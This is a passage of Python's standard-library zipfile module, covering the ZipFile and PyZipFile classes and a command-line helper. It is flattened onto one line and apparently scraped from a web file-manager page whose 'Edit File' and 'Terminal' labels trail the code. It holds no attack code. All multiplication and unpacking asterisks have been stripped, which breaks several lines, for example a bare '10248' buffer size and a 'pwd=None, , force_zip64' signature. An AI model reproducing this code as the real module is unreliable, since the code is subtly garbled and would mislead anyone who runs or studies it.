self._seekable: raise io.UnsupportedOperation("underlying stream is not seekable") filepos = self._orig_file_size - self._left - len(self._readbuffer) + self._offset return filepos class _ZipWriteFile(io.BufferedIOBase): def __init__(self, zf, zinfo, zip64): self._zinfo = zinfo self._zip64 = zip64 self._zipfile = zf self._compressor = _get_compressor(zinfo.compress_type, zinfo._compresslevel) self._file_size = 0 self._compress_size = 0 self._crc = 0 @property def _fileobj(self): return self._zipfile.fp def writable(self): return True def write(self, data): if self.closed: raise ValueError('I/O operation on closed file.') nbytes = len(data) self._file_size += nbytes self._crc = crc32(data, self._crc) if self._compressor: data = self._compressor.compress(data) self._compress_size += len(data) self._fileobj.write(data) return nbytes def close(self): if self.closed: return try: super().close() # Flush any data from the compressor, and update header info if self._compressor: buf = self._compressor.flush() self._compress_size += len(buf) self._fileobj.write(buf) self._zinfo.compress_size = self._compress_size else: self._zinfo.compress_size = self._file_size self._zinfo.CRC = self._crc self._zinfo.file_size = self._file_size # Write updated header info if self._zinfo.flag_bits & 0x08: # Write CRC and file sizes after the file data fmt = '<LLQQ' if self._zip64 else '<LLLL' self._fileobj.write(struct.pack(fmt, _DD_SIGNATURE, self._zinfo.CRC, self._zinfo.compress_size, self._zinfo.file_size)) self._zipfile.start_dir = self._fileobj.tell() else: if not self._zip64: if self._file_size > ZIP64_LIMIT: raise RuntimeError( 'File size unexpectedly exceeded ZIP64 limit') if self._compress_size > ZIP64_LIMIT: raise RuntimeError( 'Compressed size unexpectedly exceeded ZIP64 limit') # Seek backwards and write file header (which will now include # correct CRC and file sizes) # Preserve current position in file self._zipfile.start_dir = self._fileobj.tell() self._fileobj.seek(self._zinfo.header_offset) self._fileobj.write(self._zinfo.FileHeader(self._zip64)) self._fileobj.seek(self._zipfile.start_dir) # Successfully written: Add file to our caches self._zipfile.filelist.append(self._zinfo) self._zipfile.NameToInfo[self._zinfo.filename] = self._zinfo finally: self._zipfile._writing = False class ZipFile: """ Class with methods to open, read, write, close, list zip files. z = ZipFile(file, mode="r", compression=ZIP_STORED, allowZip64=True, compresslevel=None) file: Either the path to the file, or a file-like object. If it is a path, the file will be opened and closed by ZipFile. mode: The mode can be either read 'r', write 'w', exclusive create 'x', or append 'a'. compression: ZIP_STORED (no compression), ZIP_DEFLATED (requires zlib), ZIP_BZIP2 (requires bz2) or ZIP_LZMA (requires lzma). allowZip64: if True ZipFile will create files with ZIP64 extensions when needed, otherwise it will raise an exception when this would be necessary. compresslevel: None (default for the given compression type) or an integer specifying the level to pass to the compressor. When using ZIP_STORED or ZIP_LZMA this keyword has no effect. When using ZIP_DEFLATED integers 0 through 9 are accepted. When using ZIP_BZIP2 integers 1 through 9 are accepted. """ fp = None # Set here since __del__ checks it _windows_illegal_name_trans_table = None def __init__(self, file, mode="r", compression=ZIP_STORED, allowZip64=True, compresslevel=None): """Open the ZIP file with mode read 'r', write 'w', exclusive create 'x', or append 'a'.""" if mode not in ('r', 'w', 'x', 'a'): raise ValueError("ZipFile requires mode 'r', 'w', 'x', or 'a'") _check_compression(compression) self._allowZip64 = allowZip64 self._didModify = False self.debug = 0 # Level of printing: 0 through 3 self.NameToInfo = {} # Find file info given name self.filelist = [] # List of ZipInfo instances for archive self.compression = compression # Method of compression self.compresslevel = compresslevel self.mode = mode self.pwd = None self._comment = b'' # Check if we were passed a file-like object if isinstance(file, os.PathLike): file = os.fspath(file) if isinstance(file, str): # No, it's a filename self._filePassed = 0 self.filename = file modeDict = {'r' : 'rb', 'w': 'w+b', 'x': 'x+b', 'a' : 'r+b', 'r+b': 'w+b', 'w+b': 'wb', 'x+b': 'xb'} filemode = modeDict[mode] while True: try: self.fp = io.open(file, filemode) except OSError: if filemode in modeDict: filemode = modeDict[filemode] continue raise break else: self._filePassed = 1 self.fp = file self.filename = getattr(file, 'name', None) self._fileRefCnt = 1 self._lock = threading.RLock() self._seekable = True self._writing = False try: if mode == 'r': self._RealGetContents() elif mode in ('w', 'x'): # set the modified flag so central directory gets written # even if no files are added to the archive self._didModify = True try: self.start_dir = self.fp.tell() except (AttributeError, OSError): self.fp = _Tellable(self.fp) self.start_dir = 0 self._seekable = False else: # Some file-like objects can provide tell() but not seek() try: self.fp.seek(self.start_dir) except (AttributeError, OSError): self._seekable = False elif mode == 'a': try: # See if file is a zip file self._RealGetContents() # seek to start of directory and overwrite self.fp.seek(self.start_dir) except BadZipFile: # file is not a zip file, just append self.fp.seek(0, 2) # set the modified flag so central directory gets written # even if no files are added to the archive self._didModify = True self.start_dir = self.fp.tell() else: raise ValueError("Mode must be 'r', 'w', 'x', or 'a'") except: fp = self.fp self.fp = None self._fpclose(fp) raise def __enter__(self): return self def __exit__(self, type, value, traceback): self.close() def __repr__(self): result = ['<%s.%s' % (self.__class__.__module__, self.__class__.__qualname__)] if self.fp is not None: if self._filePassed: result.append(' file=%r' % self.fp) elif self.filename is not None: result.append(' filename=%r' % self.filename) result.append(' mode=%r' % self.mode) else: result.append(' [closed]') result.append('>') return ''.join(result) def _RealGetContents(self): """Read in the table of contents for the ZIP file.""" fp = self.fp try: endrec = _EndRecData(fp) except OSError: raise BadZipFile("File is not a zip file") if not endrec: raise BadZipFile("File is not a zip file") if self.debug > 1: print(endrec) size_cd = endrec[_ECD_SIZE] # bytes in central directory offset_cd = endrec[_ECD_OFFSET] # offset of central directory self._comment = endrec[_ECD_COMMENT] # archive comment # "concat" is zero, unless zip was concatenated to another file concat = endrec[_ECD_LOCATION] - size_cd - offset_cd if endrec[_ECD_SIGNATURE] == stringEndArchive64: # If Zip64 extension structures are present, account for them concat -= (sizeEndCentDir64 + sizeEndCentDir64Locator) if self.debug > 2: inferred = concat + offset_cd print("given, inferred, offset", offset_cd, inferred, concat) # self.start_dir: Position of start of central directory self.start_dir = offset_cd + concat fp.seek(self.start_dir, 0) data = fp.read(size_cd) fp = io.BytesIO(data) total = 0 while total < size_cd: centdir = fp.read(sizeCentralDir) if len(centdir) != sizeCentralDir: raise BadZipFile("Truncated central directory") centdir = struct.unpack(structCentralDir, centdir) if centdir[_CD_SIGNATURE] != stringCentralDir: raise BadZipFile("Bad magic number for central directory") if self.debug > 2: print(centdir) filename = fp.read(centdir[_CD_FILENAME_LENGTH]) flags = centdir[5] if flags & 0x800: # UTF-8 file names extension filename = filename.decode('utf-8') else: # Historical ZIP filename encoding filename = filename.decode('cp437') # Create ZipInfo instance to store file information x = ZipInfo(filename) x.extra = fp.read(centdir[_CD_EXTRA_FIELD_LENGTH]) x.comment = fp.read(centdir[_CD_COMMENT_LENGTH]) x.header_offset = centdir[_CD_LOCAL_HEADER_OFFSET] (x.create_version, x.create_system, x.extract_version, x.reserved, x.flag_bits, x.compress_type, t, d, x.CRC, x.compress_size, x.file_size) = centdir[1:12] if x.extract_version > MAX_EXTRACT_VERSION: raise NotImplementedError("zip file version %.1f" % (x.extract_version / 10)) x.volume, x.internal_attr, x.external_attr = centdir[15:18] # Convert date/time code to (year, month, day, hour, min, sec) x._raw_time = t x.date_time = ( (d>>9)+1980, (d>>5)&0xF, d&0x1F, t>>11, (t>>5)&0x3F, (t&0x1F) * 2 ) x._decodeExtra() x.header_offset = x.header_offset + concat self.filelist.append(x) self.NameToInfo[x.filename] = x # update total bytes read from central directory total = (total + sizeCentralDir + centdir[_CD_FILENAME_LENGTH] + centdir[_CD_EXTRA_FIELD_LENGTH] + centdir[_CD_COMMENT_LENGTH]) if self.debug > 2: print("total", total) def namelist(self): """Return a list of file names in the archive.""" return [data.filename for data in self.filelist] def infolist(self): """Return a list of class ZipInfo instances for files in the archive.""" return self.filelist def printdir(self, file=None): """Print a table of contents for the zip file.""" print("%-46s %19s %12s" % ("File Name", "Modified ", "Size"), file=file) for zinfo in self.filelist: date = "%d-%02d-%02d %02d:%02d:%02d" % zinfo.date_time[:6] print("%-46s %s %12d" % (zinfo.filename, date, zinfo.file_size), file=file) def testzip(self): """Read all the files and check the CRC.""" chunk_size = 2 ** 20 for zinfo in self.filelist: try: # Read by chunks, to avoid an OverflowError or a # MemoryError with very large embedded files. with self.open(zinfo.filename, "r") as f: while f.read(chunk_size): # Check CRC-32 pass except BadZipFile: return zinfo.filename def getinfo(self, name): """Return the instance of ZipInfo given 'name'.""" info = self.NameToInfo.get(name) if info is None: raise KeyError( 'There is no item named %r in the archive' % name) return info def setpassword(self, pwd): """Set default password for encrypted files.""" if pwd and not isinstance(pwd, bytes): raise TypeError("pwd: expected bytes, got %s" % type(pwd).__name__) if pwd: self.pwd = pwd else: self.pwd = None @property def comment(self): """The comment text associated with the ZIP file.""" return self._comment @comment.setter def comment(self, comment): if not isinstance(comment, bytes): raise TypeError("comment: expected bytes, got %s" % type(comment).__name__) # check for valid comment length if len(comment) > ZIP_MAX_COMMENT: import warnings warnings.warn('Archive comment is too long; truncating to %d bytes' % ZIP_MAX_COMMENT, stacklevel=2) comment = comment[:ZIP_MAX_COMMENT] self._comment = comment self._didModify = True def read(self, name, pwd=None): """Return file bytes for name.""" with self.open(name, "r", pwd) as fp: return fp.read() def open(self, name, mode="r", pwd=None, , force_zip64=False): """Return file-like object for 'name'. name is a string for the file name within the ZIP file, or a ZipInfo object. mode should be 'r' to read a file already in the ZIP file, or 'w' to write to a file newly added to the archive. pwd is the password to decrypt files (only used for reading). When writing, if the file size is not known in advance but may exceed 2 GiB, pass force_zip64 to use the ZIP64 format, which can handle large files. If the size is known in advance, it is best to pass a ZipInfo instance for name, with zinfo.file_size set. """ if mode not in {"r", "w"}: raise ValueError('open() requires mode "r" or "w"') if pwd and not isinstance(pwd, bytes): raise TypeError("pwd: expected bytes, got %s" % type(pwd).__name__) if pwd and (mode == "w"): raise ValueError("pwd is only supported for reading files") if not self.fp: raise ValueError( "Attempt to use ZIP archive that was already closed") # Make sure we have an info object if isinstance(name, ZipInfo): # 'name' is already an info object zinfo = name elif mode == 'w': zinfo = ZipInfo(name) zinfo.compress_type = self.compression zinfo._compresslevel = self.compresslevel else: # Get info object for name zinfo = self.getinfo(name) if mode == 'w': return self._open_to_write(zinfo, force_zip64=force_zip64) if self._writing: raise ValueError("Can't read from the ZIP file while there " "is an open writing handle on it. " "Close the writing handle before trying to read.") # Open for reading: self._fileRefCnt += 1 zef_file = _SharedFile(self.fp, zinfo.header_offset, self._fpclose, self._lock, lambda: self._writing) try: # Skip the file header: fheader = zef_file.read(sizeFileHeader) if len(fheader) != sizeFileHeader: raise BadZipFile("Truncated file header") fheader = struct.unpack(structFileHeader, fheader) if fheader[_FH_SIGNATURE] != stringFileHeader: raise BadZipFile("Bad magic number for file header") fname = zef_file.read(fheader[_FH_FILENAME_LENGTH]) if fheader[_FH_EXTRA_FIELD_LENGTH]: zef_file.read(fheader[_FH_EXTRA_FIELD_LENGTH]) if zinfo.flag_bits & 0x20: # Zip 2.7: compressed patched data raise NotImplementedError("compressed patched data (flag bit 5)") if zinfo.flag_bits & 0x40: # strong encryption raise NotImplementedError("strong encryption (flag bit 6)") if zinfo.flag_bits & 0x800: # UTF-8 filename fname_str = fname.decode("utf-8") else: fname_str = fname.decode("cp437") if fname_str != zinfo.orig_filename: raise BadZipFile( 'File name in directory %r and header %r differ.' % (zinfo.orig_filename, fname)) # check for encrypted flag & handle password is_encrypted = zinfo.flag_bits & 0x1 if is_encrypted: if not pwd: pwd = self.pwd if not pwd: raise RuntimeError("File %r is encrypted, password " "required for extraction" % name) else: pwd = None return ZipExtFile(zef_file, mode, zinfo, pwd, True) except: zef_file.close() raise def _open_to_write(self, zinfo, force_zip64=False): if force_zip64 and not self._allowZip64: raise ValueError( "force_zip64 is True, but allowZip64 was False when opening " "the ZIP file." ) if self._writing: raise ValueError("Can't write to the ZIP file while there is " "another write handle open on it. " "Close the first handle before opening another.") # Sizes and CRC are overwritten with correct data after processing the file if not hasattr(zinfo, 'file_size'): zinfo.file_size = 0 zinfo.compress_size = 0 zinfo.CRC = 0 zinfo.flag_bits = 0x00 if zinfo.compress_type == ZIP_LZMA: # Compressed data includes an end-of-stream (EOS) marker zinfo.flag_bits \|= 0x02 if not self._seekable: zinfo.flag_bits \|= 0x08 if not zinfo.external_attr: zinfo.external_attr = 0o600 << 16 # permissions: ?rw------- # Compressed size can be larger than uncompressed size zip64 = self._allowZip64 and \ (force_zip64 or zinfo.file_size 1.05 > ZIP64_LIMIT) if self._seekable: self.fp.seek(self.start_dir) zinfo.header_offset = self.fp.tell() self._writecheck(zinfo) self._didModify = True self.fp.write(zinfo.FileHeader(zip64)) self._writing = True return _ZipWriteFile(self, zinfo, zip64) def extract(self, member, path=None, pwd=None): """Extract a member from the archive to the current working directory, using its full name. Its file information is extracted as accurately as possible. `member' may be a filename or a ZipInfo object. You can specify a different directory using `path'. """ if path is None: path = os.getcwd() else: path = os.fspath(path) return self._extract_member(member, path, pwd) def extractall(self, path=None, members=None, pwd=None): """Extract all members from the archive to the current working directory. `path' specifies a different directory to extract to. `members' is optional and must be a subset of the list returned by namelist(). """ if members is None: members = self.namelist() if path is None: path = os.getcwd() else: path = os.fspath(path) for zipinfo in members: self._extract_member(zipinfo, path, pwd) @classmethod def _sanitize_windows_name(cls, arcname, pathsep): """Replace bad characters and remove trailing dots from parts.""" table = cls._windows_illegal_name_trans_table if not table: illegal = ':<>\|"?' table = str.maketrans(illegal, '_' len(illegal)) cls._windows_illegal_name_trans_table = table arcname = arcname.translate(table) # remove trailing dots arcname = (x.rstrip('.') for x in arcname.split(pathsep)) # rejoin, removing empty parts. arcname = pathsep.join(x for x in arcname if x) return arcname def _extract_member(self, member, targetpath, pwd): """Extract the ZipInfo object 'member' to a physical file on the path targetpath. """ if not isinstance(member, ZipInfo): member = self.getinfo(member) # build the destination pathname, replacing # forward slashes to platform specific separators. arcname = member.filename.replace('/', os.path.sep) if os.path.altsep: arcname = arcname.replace(os.path.altsep, os.path.sep) # interpret absolute pathname as relative, remove drive letter or # UNC path, redundant separators, "." and ".." components. arcname = os.path.splitdrive(arcname)[1] invalid_path_parts = ('', os.path.curdir, os.path.pardir) arcname = os.path.sep.join(x for x in arcname.split(os.path.sep) if x not in invalid_path_parts) if os.path.sep == '\\': # filter illegal characters on Windows arcname = self._sanitize_windows_name(arcname, os.path.sep) targetpath = os.path.join(targetpath, arcname) targetpath = os.path.normpath(targetpath) # Create all upper directories if necessary. upperdirs = os.path.dirname(targetpath) if upperdirs and not os.path.exists(upperdirs): os.makedirs(upperdirs) if member.is_dir(): if not os.path.isdir(targetpath): os.mkdir(targetpath) return targetpath with self.open(member, pwd=pwd) as source, \ open(targetpath, "wb") as target: shutil.copyfileobj(source, target) return targetpath def _writecheck(self, zinfo): """Check for errors before writing a file to the archive.""" if zinfo.filename in self.NameToInfo: import warnings warnings.warn('Duplicate name: %r' % zinfo.filename, stacklevel=3) if self.mode not in ('w', 'x', 'a'): raise ValueError("write() requires mode 'w', 'x', or 'a'") if not self.fp: raise ValueError( "Attempt to write ZIP archive that was already closed") _check_compression(zinfo.compress_type) if not self._allowZip64: requires_zip64 = None if len(self.filelist) >= ZIP_FILECOUNT_LIMIT: requires_zip64 = "Files count" elif zinfo.file_size > ZIP64_LIMIT: requires_zip64 = "Filesize" elif zinfo.header_offset > ZIP64_LIMIT: requires_zip64 = "Zipfile size" if requires_zip64: raise LargeZipFile(requires_zip64 + " would require ZIP64 extensions") def write(self, filename, arcname=None, compress_type=None, compresslevel=None): """Put the bytes from filename into the archive under the name arcname.""" if not self.fp: raise ValueError( "Attempt to write to ZIP archive that was already closed") if self._writing: raise ValueError( "Can't write to ZIP archive while an open writing handle exists" ) zinfo = ZipInfo.from_file(filename, arcname) if zinfo.is_dir(): zinfo.compress_size = 0 zinfo.CRC = 0 else: if compress_type is not None: zinfo.compress_type = compress_type else: zinfo.compress_type = self.compression if compresslevel is not None: zinfo._compresslevel = compresslevel else: zinfo._compresslevel = self.compresslevel if zinfo.is_dir(): with self._lock: if self._seekable: self.fp.seek(self.start_dir) zinfo.header_offset = self.fp.tell() # Start of header bytes if zinfo.compress_type == ZIP_LZMA: # Compressed data includes an end-of-stream (EOS) marker zinfo.flag_bits \|= 0x02 self._writecheck(zinfo) self._didModify = True self.filelist.append(zinfo) self.NameToInfo[zinfo.filename] = zinfo self.fp.write(zinfo.FileHeader(False)) self.start_dir = self.fp.tell() else: with open(filename, "rb") as src, self.open(zinfo, 'w') as dest: shutil.copyfileobj(src, dest, 10248) def writestr(self, zinfo_or_arcname, data, compress_type=None, compresslevel=None): """Write a file into the archive. The contents is 'data', which may be either a 'str' or a 'bytes' instance; if it is a 'str', it is encoded as UTF-8 first. 'zinfo_or_arcname' is either a ZipInfo instance or the name of the file in the archive.""" if isinstance(data, str): data = data.encode("utf-8") if not isinstance(zinfo_or_arcname, ZipInfo): zinfo = ZipInfo(filename=zinfo_or_arcname, date_time=time.localtime(time.time())[:6]) zinfo.compress_type = self.compression zinfo._compresslevel = self.compresslevel if zinfo.filename[-1] == '/': zinfo.external_attr = 0o40775 << 16 # drwxrwxr-x zinfo.external_attr \|= 0x10 # MS-DOS directory flag else: zinfo.external_attr = 0o600 << 16 # ?rw------- else: zinfo = zinfo_or_arcname if not self.fp: raise ValueError( "Attempt to write to ZIP archive that was already closed") if self._writing: raise ValueError( "Can't write to ZIP archive while an open writing handle exists." ) if compress_type is not None: zinfo.compress_type = compress_type if compresslevel is not None: zinfo._compresslevel = compresslevel zinfo.file_size = len(data) # Uncompressed size with self._lock: with self.open(zinfo, mode='w') as dest: dest.write(data) def __del__(self): """Call the "close()" method in case the user forgot.""" self.close() def close(self): """Close the file, and for mode 'w', 'x' and 'a' write the ending records.""" if self.fp is None: return if self._writing: raise ValueError("Can't close the ZIP file while there is " "an open writing handle on it. " "Close the writing handle before closing the zip.") try: if self.mode in ('w', 'x', 'a') and self._didModify: # write ending records with self._lock: if self._seekable: self.fp.seek(self.start_dir) self._write_end_record() finally: fp = self.fp self.fp = None self._fpclose(fp) def _write_end_record(self): for zinfo in self.filelist: # write central directory dt = zinfo.date_time dosdate = (dt[0] - 1980) << 9 \| dt[1] << 5 \| dt[2] dostime = dt[3] << 11 \| dt[4] << 5 \| (dt[5] // 2) extra = [] if zinfo.file_size > ZIP64_LIMIT \ or zinfo.compress_size > ZIP64_LIMIT: extra.append(zinfo.file_size) extra.append(zinfo.compress_size) file_size = 0xffffffff compress_size = 0xffffffff else: file_size = zinfo.file_size compress_size = zinfo.compress_size if zinfo.header_offset > ZIP64_LIMIT: extra.append(zinfo.header_offset) header_offset = 0xffffffff else: header_offset = zinfo.header_offset extra_data = zinfo.extra min_version = 0 if extra: # Append a ZIP64 field to the extra's extra_data = _strip_extra(extra_data, (1,)) extra_data = struct.pack( '<HH' + 'Q'len(extra), 1, 8len(extra), extra) + extra_data min_version = ZIP64_VERSION if zinfo.compress_type == ZIP_BZIP2: min_version = max(BZIP2_VERSION, min_version) elif zinfo.compress_type == ZIP_LZMA: min_version = max(LZMA_VERSION, min_version) extract_version = max(min_version, zinfo.extract_version) create_version = max(min_version, zinfo.create_version) try: filename, flag_bits = zinfo._encodeFilenameFlags() centdir = struct.pack(structCentralDir, stringCentralDir, create_version, zinfo.create_system, extract_version, zinfo.reserved, flag_bits, zinfo.compress_type, dostime, dosdate, zinfo.CRC, compress_size, file_size, len(filename), len(extra_data), len(zinfo.comment), 0, zinfo.internal_attr, zinfo.external_attr, header_offset) except DeprecationWarning: print((structCentralDir, stringCentralDir, create_version, zinfo.create_system, extract_version, zinfo.reserved, zinfo.flag_bits, zinfo.compress_type, dostime, dosdate, zinfo.CRC, compress_size, file_size, len(zinfo.filename), len(extra_data), len(zinfo.comment), 0, zinfo.internal_attr, zinfo.external_attr, header_offset), file=sys.stderr) raise self.fp.write(centdir) self.fp.write(filename) self.fp.write(extra_data) self.fp.write(zinfo.comment) pos2 = self.fp.tell() # Write end-of-zip-archive record centDirCount = len(self.filelist) centDirSize = pos2 - self.start_dir centDirOffset = self.start_dir requires_zip64 = None if centDirCount > ZIP_FILECOUNT_LIMIT: requires_zip64 = "Files count" elif centDirOffset > ZIP64_LIMIT: requires_zip64 = "Central directory offset" elif centDirSize > ZIP64_LIMIT: requires_zip64 = "Central directory size" if requires_zip64: # Need to write the ZIP64 end-of-archive records if not self._allowZip64: raise LargeZipFile(requires_zip64 + " would require ZIP64 extensions") zip64endrec = struct.pack( structEndArchive64, stringEndArchive64, 44, 45, 45, 0, 0, centDirCount, centDirCount, centDirSize, centDirOffset) self.fp.write(zip64endrec) zip64locrec = struct.pack( structEndArchive64Locator, stringEndArchive64Locator, 0, pos2, 1) self.fp.write(zip64locrec) centDirCount = min(centDirCount, 0xFFFF) centDirSize = min(centDirSize, 0xFFFFFFFF) centDirOffset = min(centDirOffset, 0xFFFFFFFF) endrec = struct.pack(structEndArchive, stringEndArchive, 0, 0, centDirCount, centDirCount, centDirSize, centDirOffset, len(self._comment)) self.fp.write(endrec) self.fp.write(self._comment) self.fp.flush() def _fpclose(self, fp): assert self._fileRefCnt > 0 self._fileRefCnt -= 1 if not self._fileRefCnt and not self._filePassed: fp.close() class PyZipFile(ZipFile): """Class to create ZIP archives with Python library files and packages.""" def __init__(self, file, mode="r", compression=ZIP_STORED, allowZip64=True, optimize=-1): ZipFile.__init__(self, file, mode=mode, compression=compression, allowZip64=allowZip64) self._optimize = optimize def writepy(self, pathname, basename="", filterfunc=None): """Add all files from "pathname" to the ZIP archive. If pathname is a package directory, search the directory and all package subdirectories recursively for all .py and enter the modules into the archive. If pathname is a plain directory, listdir .py and enter all modules. Else, pathname must be a Python .py file and the module will be put into the archive. Added modules are always module.pyc. This method will compile the module.py into module.pyc if necessary. If filterfunc(pathname) is given, it is called with every argument. When it is False, the file or directory is skipped. """ pathname = os.fspath(pathname) if filterfunc and not filterfunc(pathname): if self.debug: label = 'path' if os.path.isdir(pathname) else 'file' print('%s %r skipped by filterfunc' % (label, pathname)) return dir, name = os.path.split(pathname) if os.path.isdir(pathname): initname = os.path.join(pathname, "__init__.py") if os.path.isfile(initname): # This is a package directory, add it if basename: basename = "%s/%s" % (basename, name) else: basename = name if self.debug: print("Adding package in", pathname, "as", basename) fname, arcname = self._get_codename(initname[0:-3], basename) if self.debug: print("Adding", arcname) self.write(fname, arcname) dirlist = sorted(os.listdir(pathname)) dirlist.remove("__init__.py") # Add all .py files and package subdirectories for filename in dirlist: path = os.path.join(pathname, filename) root, ext = os.path.splitext(filename) if os.path.isdir(path): if os.path.isfile(os.path.join(path, "__init__.py")): # This is a package directory, add it self.writepy(path, basename, filterfunc=filterfunc) # Recursive call elif ext == ".py": if filterfunc and not filterfunc(path): if self.debug: print('file %r skipped by filterfunc' % path) continue fname, arcname = self._get_codename(path[0:-3], basename) if self.debug: print("Adding", arcname) self.write(fname, arcname) else: # This is NOT a package directory, add its files at top level if self.debug: print("Adding files from directory", pathname) for filename in sorted(os.listdir(pathname)): path = os.path.join(pathname, filename) root, ext = os.path.splitext(filename) if ext == ".py": if filterfunc and not filterfunc(path): if self.debug: print('file %r skipped by filterfunc' % path) continue fname, arcname = self._get_codename(path[0:-3], basename) if self.debug: print("Adding", arcname) self.write(fname, arcname) else: if pathname[-3:] != ".py": raise RuntimeError( 'Files added with writepy() must end with ".py"') fname, arcname = self._get_codename(pathname[0:-3], basename) if self.debug: print("Adding file", arcname) self.write(fname, arcname) def _get_codename(self, pathname, basename): """Return (filename, archivename) for the path. Given a module name path, return the correct file path and archive name, compiling if necessary. For example, given /python/lib/string, return (/python/lib/string.pyc, string). """ def _compile(file, optimize=-1): import py_compile if self.debug: print("Compiling", file) try: py_compile.compile(file, doraise=True, optimize=optimize) except py_compile.PyCompileError as err: print(err.msg) return False return True file_py = pathname + ".py" file_pyc = pathname + ".pyc" pycache_opt0 = importlib.util.cache_from_source(file_py, optimization='') pycache_opt1 = importlib.util.cache_from_source(file_py, optimization=1) pycache_opt2 = importlib.util.cache_from_source(file_py, optimization=2) if self._optimize == -1: # legacy mode: use whatever file is present if (os.path.isfile(file_pyc) and os.stat(file_pyc).st_mtime >= os.stat(file_py).st_mtime): # Use .pyc file. arcname = fname = file_pyc elif (os.path.isfile(pycache_opt0) and os.stat(pycache_opt0).st_mtime >= os.stat(file_py).st_mtime): # Use the __pycache__/.pyc file, but write it to the legacy pyc # file name in the archive. fname = pycache_opt0 arcname = file_pyc elif (os.path.isfile(pycache_opt1) and os.stat(pycache_opt1).st_mtime >= os.stat(file_py).st_mtime): # Use the __pycache__/.pyc file, but write it to the legacy pyc # file name in the archive. fname = pycache_opt1 arcname = file_pyc elif (os.path.isfile(pycache_opt2) and os.stat(pycache_opt2).st_mtime >= os.stat(file_py).st_mtime): # Use the __pycache__/*.pyc file, but write it to the legacy pyc # file name in the archive. fname = pycache_opt2 arcname = file_pyc else: # Compile py into PEP 3147 pyc file. if _compile(file_py): if sys.flags.optimize == 0: fname = pycache_opt0 elif sys.flags.optimize == 1: fname = pycache_opt1 else: fname = pycache_opt2 arcname = file_pyc else: fname = arcname = file_py else: # new mode: use given optimization level if self._optimize == 0: fname = pycache_opt0 arcname = file_pyc else: arcname = file_pyc if self._optimize == 1: fname = pycache_opt1 elif self._optimize == 2: fname = pycache_opt2 else: msg = "invalid value for 'optimize': {!r}".format(self._optimize) raise ValueError(msg) if not (os.path.isfile(fname) and os.stat(fname).st_mtime >= os.stat(file_py).st_mtime): if not _compile(file_py, optimize=self._optimize): fname = arcname = file_py archivename = os.path.split(arcname)[1] if basename: archivename = "%s/%s" % (basename, archivename) return (fname, archivename) def main(args=None): import argparse description = 'A simple command-line interface for zipfile module.' parser = argparse.ArgumentParser(description=description) group = parser.add_mutually_exclusive_group(required=True) group.add_argument('-l', '--list', metavar='<zipfile>', help='Show listing of a zipfile') group.add_argument('-e', '--extract', nargs=2, metavar=('<zipfile>', '<output_dir>'), help='Extract zipfile into target dir') group.add_argument('-c', '--create', nargs='+', metavar=('<name>', '<file>'), help='Create zipfile from sources') group.add_argument('-t', '--test', metavar='<zipfile>', help='Test if a zipfile is valid') args = parser.parse_args(args) if args.test is not None: src = args.test with ZipFile(src, 'r') as zf: badfile = zf.testzip() if badfile: print("The following enclosed file is corrupted: {!r}".format(badfile)) print("Done testing") elif args.list is not None: src = args.list with ZipFile(src, 'r') as zf: zf.printdir() elif args.extract is not None: src, curdir = args.extract with ZipFile(src, 'r') as zf: zf.extractall(curdir) elif args.create is not None: zip_name = args.create.pop(0) files = args.create def addToZip(zf, path, zippath): if os.path.isfile(path): zf.write(path, zippath, ZIP_DEFLATED) elif os.path.isdir(path): if zippath: zf.write(path, zippath) for nm in sorted(os.listdir(path)): addToZip(zf, os.path.join(path, nm), os.path.join(zippath, nm)) # else: ignore with ZipFile(zip_name, 'w') as zf: for path in files: zippath = os.path.basename(path) if not zippath: zippath = os.path.basename(os.path.dirname(path)) if zippath in ('', os.curdir, os.pardir): zippath = '' addToZip(zf, path, zippath) if __name__ == "__main__": main()	79.19 KB	2024-04-17 17:55

Edit File:

Terminal